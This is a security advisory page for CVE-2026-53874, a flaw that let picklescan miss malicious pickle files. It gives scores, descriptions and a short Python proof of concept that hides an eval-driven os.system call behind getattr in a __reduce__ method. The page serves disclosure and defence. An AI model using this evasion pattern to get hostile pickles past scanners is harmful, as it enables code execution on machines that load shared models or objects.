CVE-2026-53874
JSON

9.3critical

picklescan - Arbitrary Code Execution via Obfuscated eval Call

Severity
9.3critical CVSS:4.0 by VulnCheck
Exploit likelihood
0.76% (higher than 51% of CVEs)
Published
Last changed
Assigned by
VulnCheck
Also known as
GHSA-9m3x-qqw2-h32hPYSEC-2026-1789

Description

picklescan before 1.0.1 contains an unsafe deserialization vulnerability allowing unauthenticated users to execute arbitrary code by hiding eval calls nested under callable objects via getattr. Attackers can embed malicious code in pickle files that evades detection but executes when the pickle is loaded from untrusted sources.

Affected

Product or packageVersionsReported by
picklescan picklescanbefore 1.0.1
Not affected: 1.0.1
CVE List
picklescan (PyPI)before 1.0.1GitHub Advisory Database, PyPA Advisory Database

All scores

VulnCheck9.3critical CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
VulnCheck9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
PyPA Advisory DatabaseNot scored CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Classification

CWE-502

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

picklescan before 1.0.1 contains an unsafe deserialization vulnerability allowing unauthenticated users to execute arbitrary code by hiding eval calls nested under callable objects via getattr. Attackers can embed malicious code in pickle files that evades detection but executes when the pickle is loaded from untrusted sources.

GitHub Advisory Database
Summary

An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.

Details

It's possible to hide the eval call nested under another callable via getattr.

PoC
import builtins

class EvilClass:
    @staticmethod
    def _obfuscated_eval(payload):
        getattr(builtins, "eval")(payload)

    def __reduce__(self):
        payload = "__import__('os').system('echo \"successful attack\"')"
        return self._obfuscated_eval, (payload,)
Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.

What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.

Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-53874 changed 2026-11-08CVE Terms of Use
GitHub Advisory DatabaseGHSA-9m3x-qqw2-h32h changed 2026-07-07CC-BY-4.0
NVDCVE-2026-53874 changed 2026-06-23Public domain
PyPA Advisory DatabasePYSEC-2026-1789 changed 2026-07-07CC-BY-4.0